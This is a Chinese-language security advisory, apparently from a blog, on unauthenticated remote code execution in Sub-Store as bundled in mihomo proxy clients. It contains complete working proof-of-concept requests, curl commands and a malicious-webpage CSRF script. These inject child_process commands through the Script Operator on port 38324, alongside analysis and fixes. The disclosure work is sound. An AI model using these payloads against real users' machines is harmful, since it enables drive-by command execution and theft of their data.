mihomo系客户端内置Sub-Store v2.11.4-2.37.1 38324端口未鉴权ScriptOperator RCE漏洞


漏洞简介

Sub-Store 是代理工具圈常用的订阅转换/管理服务,不少 mihomo(clash 系)客户端把它内置进安装包,Clash Party、Sparkle 等随客户端启动就监听 38324 端口。2.11.4 到 2.37.1 之间的内置版/本地版,/api/preview/sub 接口不带任何鉴权:谁能往这个端口发一条 POST,谁就能让服务端把自己给的 Node 代码跑起来。

漏洞不在某个隐藏接口,而在订阅"预览"功能自带的 Script Operator(脚本操作)——这是官方功能,设计上允许脚本里 require 任意模块。攻击者把 require("child_process") 塞进脚本操作符,等于直接拿到了代理软件进程里的系统命令通道。命令输出会被回填进接口返回的 processed 列表直接回显,本机验证时弹窗能当面弹出来。用户浏览恶意网页时,网页向 127.0.0.1:38324 发一条请求就触发,不用登录、不用点按钮、不用交互。命令执行时用的权限是代理软件进程的权限,弹窗只是自证,写文件、拉马、偷订阅配置都行。

  • 危害等级:严重(未认证 + 任意命令执行 + 响应回显)
  • 前置条件:未认证;攻击者请求可达 38324(本机恶意网页 / 同网段扫描 / 公网暴露的后端形态),无任何账号会话要求

影响版本

  • 版本范围:Sub-Store 2.11.4 ≤ v ≤ 2.37.1,/api/preview/sub 等接口未鉴权、可无凭据触发脚本操作执行命令(披露与实测覆盖此区间,更早版本未逐一核实)
  • 载体形态:Clash Party、Sparkle 等 mihomo 系客户端内置版(监听 38324);docker 独立部署版后端 3000、前端 3001,后端直接映射/反代到公网的同此风险
  • 版本证据来源:
    • 论坛讨论(linux.do t/2856720)确认 2.19.0 起(commit 63d5b3e)backend/src/restful/index.js 出现 if (be_prefix || be_merge) 后端路径判断,docker 形态默认开 SUB_STORE_BACKEND_MERGE——说明 2.19.0 之前不存在该收敛
    • 实测:macOS 本地 38324 直发 PoC 弹窗 + 回显 POPUP-SHOWN(L1 实证)
  • 影响范围:实证接口 /api/preview/sub;同属未鉴权面的订阅/脚本类 API 存在同类风险
  • 认证前置:无

注意 2.19.0 的路径判断只收敛 docker 前后端分离形态(见漏洞分析"版本演进"),内置单端口、未配置后端路径的场景在 2.37.1 及以下仍按无鉴权实测复现。修复版本号以官方 release 为准,本报告核实范围止于 v2.37.1。

fofa语法

默认空白。服务默认只监听本机回环,公网测绘扫不到;仅 docker 把后端映射或反代到公网的实例可被端口/指纹命中(38324、3000 端口特征),无通用 app 指纹语法。

漏洞分析

入口:/api/preview/sub

/api/preview/sub 是前端"预览订阅"页面调用的后端接口,POST + JSON。本地内置形态把前后端合在一个进程里监听 38324,docker 形态后端单独监听 3000。这个接口干两件事:把一段订阅内容解析成代理列表,再按调用者给的 process 链对列表做处理。两件事都不需要任何登录态。

参数与中间处理

请求体四个字段,作用跟着响应走:

  • name:本次预览的订阅名,仅用于标记
  • source: "local":表示不走远程拉取,content 字段直接给订阅文本
  • content:一段 YAML 代理配置,响应里的 original 数组就是它解析出来的 proxies 列表
  • process:处理链数组,每一项是一个操作符。PoC 里只放了一个 Script Operator

看响应能对上处理过程:original 里 name 还是 poc,processed 里 name 变成了命令输出。中间唯一能动这个名字的就是 process 链,说明服务端确实把 content 解析成列表后逐条应用了操作符。

{"status":"success","data":{"original":[{"name":"poc","type":"ss","server":"127.0.0.1","port":1080,"cipher":"aes-128-gcm","password":"poc","udp":true,"id":0,"_subName":"poc-msgbox"}],"processed":[{"name":"POPUP-SHOWN","type":"ss","server":"127.0.0.1","port":1080,"cipher":"aes-128-gcm","password":"poc","udp":true,"id":0,"_subName":"poc-msgbox"}]}}

sink 点:Script Operator 的 child_process

process 里 type: "Script Operator"、args.mode: "script" 时,args.content 就是一段 async function operator(proxies)。服务端把这当模块加载,对代理列表逐个调。脚本操作是给用户写自定义逻辑用的,官方没限制 require,所以脚本里 require("child_process") 拿到的就是真进程 API:

  • macOS:execFileSync("osascript", [...]) 弹系统对话框,命令 stdout 被 toString().trim() 取走
  • Windows:execFileSync("powershell", ["-NoProfile", "-Command", "... Wscript.Shell Popup ..."]) 弹窗
  • 输出写回 proxies[0].name,随响应返回——回显就这么来的
  • 命令抛错也不中断:catch 把 POPUP-FAILED: 加状态码写进 name

sink 就是脚本里的 execFileSync。执行发生在 Sub-Store 进程内,权限等于代理软件进程的权限,GUI 会话里 osascript 的弹窗能直接显示在用户桌面上。

鉴权与 CSRF 面

这些版本的后端对 /api 不校验 Origin、不校验 Referer、没有 csrf token,也没有任何认证头。能不能触发只取决于"谁的网络包能到 38324":

  • 本机恶意网页:浏览器允许网页向回环地址发请求(是否放行跨域 JSON 预检取决于浏览器对 localhost 的私有网络访问策略和服务端 CORS 放行情况,见漏洞复现 POC 三),即使页面读不到响应,命令已经执行完
  • 同网段主机:端口对局域网开放时直接扫
  • 公网:docker 把后端 3000 端口映射出来的形态,攻击链最短

curl 自测时响应能读,回显当判定依据;真实利用不依赖回显,弹窗、写文件这类副作用就够了。

版本演进与收敛(2.19.0 后端路径判断)

论坛对 docker 部署形态的讨论给出了服务端唯一可引用的代码线索:2.19.0+(commit 63d5b3e)在 backend/src/restful/index.js 加了 if (be_prefix || be_merge) 判断。docker 说明页默认开 SUB_STORE_BACKEND_MERGE,前后端合并到同一端口后强制走这个判断;再配一个随机的 SUB_STORE_FRONTEND_BACKEND_PATH,外部不知道路径就够不到后端执行接口。这套收敛针对的是"前后端分离、只反代前端"的部署形态,对内置单端口、未配置路径的场景不生效——2.37.1 及以下实测仍是裸奔状态。

数据流图

flowchart TD
    A[恶意网页 或 curl 自测] --> B[POST 回环 38324 的 api preview sub]
    B --> C[接口无鉴权 不校验来源]
    C --> D[解析 content YAML 得到 proxies 列表]
    D --> E[按 process 链应用 Script Operator]
    E --> F[加载 args content 里的 async 函数]
    F --> G[脚本内 require child_process]
    G --> H[execFileSync 执行 osascript 或 powershell 弹窗]:::rce
    H --> I[命令输出写回 proxies 列表第一项 name]
    I --> J[响应 processed 数组回显命令输出]
    classDef rce fill:#ff4444,color:#fff

调用链图示

sequenceDiagram
    participant A as 网页或攻击者
    participant B as Sub-Store 后端 38324
    participant C as Script Operator 模块
    participant D as child_process
    A->>B: POST api preview sub 携带 process 脚本
    B->>C: 按 process 链执行 Script Operator
    C->>C: 把 args content 当模块加载执行
    C->>D: require child_process 后 execFileSync 弹窗命令
    D-->>C: 返回命令标准输出
    C-->>B: 把输出写进 proxies 第一项 name
    B-->>A: 返回 processed 数组回显执行结果

利用面图示

flowchart TD
    S1[本机恶意网页 CSRF 触发] --> E1[38324 未鉴权接口]
    S2[同网段主机扫描] --> E1
    S3[公网直连 后端暴露的 docker 形态] --> E1
    E1 --> RCE[任意命令执行 弹窗 写文件 拉马]:::rce
    classDef rce fill:#ff4444,color:#fff

部署形态矩阵

部署形态 端口/暴露 漏洞可达性 证据
内置版(Clash Party、Sparkle 等) 38324,随客户端启动 本机网页 CSRF 可达;监听若未绑回环则局域网可达 L1 实测弹窗回显
docker 仅反代前端 + 随机后端路径(2.19.0+) 只映射/反代前端 3001 外部未知路径请求被 index.js 判断拦下,基本不可达 L2 代码级(论坛)
docker 后端直连公网或未配路径 3000 映射公网 公网直连即达,攻击链最短 L2(论坛)

漏洞复现

POC 一:macOS 本地自测(弹窗自证 + 回显判定)

目的:验证 38324 未鉴权 + Script Operator 命令执行 + 输出回显。正常未修复实例会弹系统对话框"你已中招 - Sub-Store rce PoC",接口响应里 name 变成 POPUP-SHOWN。

POST /api/preview/sub HTTP/1.1
Host: 127.0.0.1:38324
Content-Type: application/json

{"name":"poc-msgbox","source":"local","content":"proxies:\n  - name: poc\n    type: ss\n    server: 127.0.0.1\n    port: 1080\n    cipher: aes-128-gcm\n    password: poc\n","process":[{"type":"Script Operator","args":{"mode":"script","content":"async function operator(proxies){const cp=require(\"child_process\");let out=\"\";try{out=cp.execFileSync(\"osascript\",[\"-e\",\"display dialog \\\"你已中招 - Sub-Store RCE PoC\\\" with title \\\"PoC\\\" with icon 1 buttons {\\\"OK\\\"} default button \\\"OK\\\"\",\"-e\",\"return \\\"POPUP-SHOWN\\\"\"],{encoding:\"utf8\",timeout:60000}).toString().trim();}catch(e){out=\"POPUP-FAILED:\"+e.status;}proxies[0].name=out;return proxies;}"}}]}

等价 curl(单引号包整体,避免 shell 二次转义):

curl -s -X POST "http://127.0.0.1:38324/api/preview/sub" -H "Content-Type: application/json" -d '{"name":"poc-msgbox","source":"local","content":"proxies:\n  - name: poc\n    type: ss\n    server: 127.0.0.1\n    port: 1080\n    cipher: aes-128-gcm\n    password: poc\n","process":[{"type":"Script Operator","args":{"mode":"script","content":"async function operator(proxies){const cp=require(\"child_process\");let out=\"\";try{out=cp.execFileSync(\"osascript\",[\"-e\",\"display dialog \\\"你已中招 - Sub-Store RCE PoC\\\" with title \\\"PoC\\\" with icon 1 buttons {\\\"OK\\\"} default button \\\"OK\\\"\",\"-e\",\"return \\\"POPUP-SHOWN\\\"\"],{encoding:\"utf8\",timeout:60000}).toString().trim();}catch(e){out=\"POPUP-FAILED:\"+e.status;}proxies[0].name=out;return proxies;}"}}]}'

复现结果:接口返回 200 + {"status":"success",...},processed 里 name 为 POPUP-SHOWN,桌面弹出 PoC 对话框。若返回 name 是 POPUP-FAILED:非零状态码,通常是没有 GUI 会话的守护进程环境,此时改用无弹窗命令(如写文件、whoami)验证,不影响漏洞存在与否的判定。

POC 二:Windows 本地自测(PowerShell Popup)

目的:同一条链在 Windows 上复现,弹窗命令换成 PowerShell 的 Wscript.Shell Popup,curl.exe 的 JSON 内层引号按 cmd 惯例转义。

curl.exe -s -X POST "http://127.0.0.1:38324/api/preview/sub" -H "Content-Type: application/json" -d "{\"name\":\"poc-msgbox\",\"source\":\"local\",\"content\":\"proxies:\\n  - name: poc\\n    type: ss\\n    server: 127.0.0.1\\n    port: 1080\\n    cipher: aes-128-gcm\\n    password: poc\\n\",\"process\":[{\"type\":\"Script Operator\",\"args\":{\"mode\":\"script\",\"content\":\"async function operator(proxies){const cp=require(\\\"child_process\\\");let out=\\\"\\\";try{out=cp.execFileSync(\\\"powershell\\\",[\\\"-NoProfile\\\",\\\"-Command\\\",\\\"(New-Object -ComObject Wscript.Shell).Popup(\\\\\\\"你已中招 - Sub-Store RCE PoC\\\\\\\",0,\\\\\\\"PoC\\\\\\\",48); Write-Output \\\\\\\"POPUP-SHOWN\\\\\\\"\\\"],{encoding:\\\"utf8\\\",timeout:60000}).toString().trim();}catch(e){out=\\\"POPUP-FAILED:\\\"+e.status;}proxies[0].name=out;return proxies;}\"}}]}"

复现结果:同 POC 一,Windows 桌面弹"PoC"提示框,响应 processed 的 name 为 POPUP-SHOWN(Windows 变体由披露方自测,本机仅实测 macOS 变体)。

POC 三:恶意网页 CSRF 触发载体(完整 HTML 页面)

目的:还原"浏览恶意网页被触发"的形态。页面不读响应,请求发出、命令执行即达成目的。核心是接口不校验来源,配合浏览器向本机回环地址发请求的能力;application/json 跨域请求能否送达受浏览器对 localhost 的私有网络访问策略和服务端 CORS 放行影响,本地判定以 POC 一/二 的 curl 直连结果为准。

完整可直接运行的 HTML 触发页已存为附件 sub-store-csrf-poc.html:打开页面自动按 UA 选平台触发一次(macOS 走 osascript、Windows 走 PowerShell),带手动触发按钮和状态日志;本地自测可 python3 -m http.server 8888 起 http 服务再打开,接口 CORS 放行时日志里直接显示 processed[0].name = POPUP-SHOWN 回显。页面核心 JS:

<script>
const content = [
  "proxies:",
  "  - name: poc",
  "    type: ss",
  "    server: 127.0.0.1",
  "    port: 1080",
  "    cipher: aes-128-gcm",
  "    password: poc",
].join("\n");
const operator = [
  'async function operator(proxies){',
  'const cp=require("child_process");',
  'let out="";',
  'try{out=cp.execFileSync("osascript",["-e","display dialog \\"你已中招 - Sub-Store RCE PoC\\" with title \\"PoC\\" with icon 1 buttons {\\"OK\\"} default button \\"OK\\"","-e","return \\"POPUP-SHOWN\\""],{encoding:"utf8",timeout:60000}).toString().trim();}catch(e){out="POPUP-FAILED:"+e.status;}',
  'proxies[0].name=out;return proxies;',
  '}'
].join("\n");
fetch("http://127.0.0.1:38324/api/preview/sub", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    name: "poc-msgbox",
    source: "local",
    content,
    process: [{ type: "Script Operator", args: { mode: "script", content: operator } }]
  })
});
</script>

实证矩阵

对照项 结果 证据等级
防护对照:不带 process 链的正常订阅预览 正常解析返回,无命令执行,说明问题在 process/Script Operator 环节 L2
利用:POC 一 macOS 弹窗 + 回显 POPUP-SHOWN 命令执行,GUI 弹窗,响应回显 L1 实测
利用:POC 二 Windows Popup 命令执行,弹窗,响应回显 L1 披露方自测(同构)
权限等级:无 Cookie、无 token、无认证头 全程未认证直达 L1
收敛对照:docker 2.19.0+ 随机后端路径 + 仅反代前端 未知路径请求被 backend/src/restful/index.js 判断拦下 L2 代码级(论坛)
CSRF 载体:恶意网页 fetch 触发 请求送达即执行副作用;跨域 JSON 送达受浏览器 PNA 策略与服务端 CORS 影响 L2/L3

修复建议

  1. 升级 Sub-Store 到修复版本(本报告实证上限 v2.37.1,修复版号以官方 release 为准);内置形态跟着 Clash Party、Sparkle 等客户端更新走。
  2. 内置形态若用不到订阅脚本:关闭内置 Sub-Store 或在其配置里停用脚本操作。回环监听能挡局域网/公网扫描,但挡不住本机网页这条 csrf 路径,本机侧最终靠升级/加鉴权/关停解决。
  3. docker/公网形态:后端 3000 端口不要映射公网,只映射或反代前端 3001;SUB_STORE_FRONTEND_BACKEND_PATH 设随机长串(2.19.0+ 生效);反代层再加 Basic Auth 或 IP 白名单。
  4. 检测是否已中招:看本机是否出现过陌生弹窗、Sub-Store 数据目录有无陌生文件、代理软件进程有无异常子进程,订阅配置里是否被塞进不明 process 脚本。
  5. 客户端内置形态有本机侧收敛手段:Sparkle、Clash Party 等一般在设置里提供关闭内置 Sub-Store 的开关(如 Sparkle 可直接关闭),不用就关,38324 监听面直接消失;需要订阅功能时再开启,并保证用的是修复版本。网页触发本质是未鉴权接口无 CSRF 防护,回环监听挡不住本机浏览器这条路径,"关闭内置服务"是最快的本机侧措施,比等客户端发版更直接。

参考/说明

  • linux.do 讨论帖 https://linux.do/t/topic/2856720 —— docker 部署形态的安全配置共识:2.19.0+(commit 63d5b3e)backend/src/restful/index.js 有 if (be_prefix || be_merge) 后端路径判断;SUB_STORE_BACKEND_MERGE 默认开启、前后端合并到同一端口后强制走该判断;只反代前端 3001 + 随机 SUB_STORE_FRONTEND_BACKEND_PATH 时,外部拿不到后端路径,风险可控;后端直连公网则攻击链最短
  • 版本区间、内置客户端列表(Clash Party、Sparkle)为披露口径,官方确认前以本报告核实范围(v2.37.1 及以下实测)为准

手机扫码阅读

ShowDoc系统最新版v3.9.3template_save接口内容注入绕过修复RCE漏洞

ShowDoc ≤ v3.9.2 registerByVerify 未授权PHP代码注入致远程代码执行漏洞

评 论
avatar
xxx
有些文章需要密码 如何访问博主
14 天前 回复
avatar
Mrxn
@xxx:查看 https://mrxn.net/other/1490.html
14 天前 回复
avatar
1
我的弹窗了,可怕
19 天前 回复
avatar
Mrxn
@1:所以不要乱浏览网站
18 天前 回复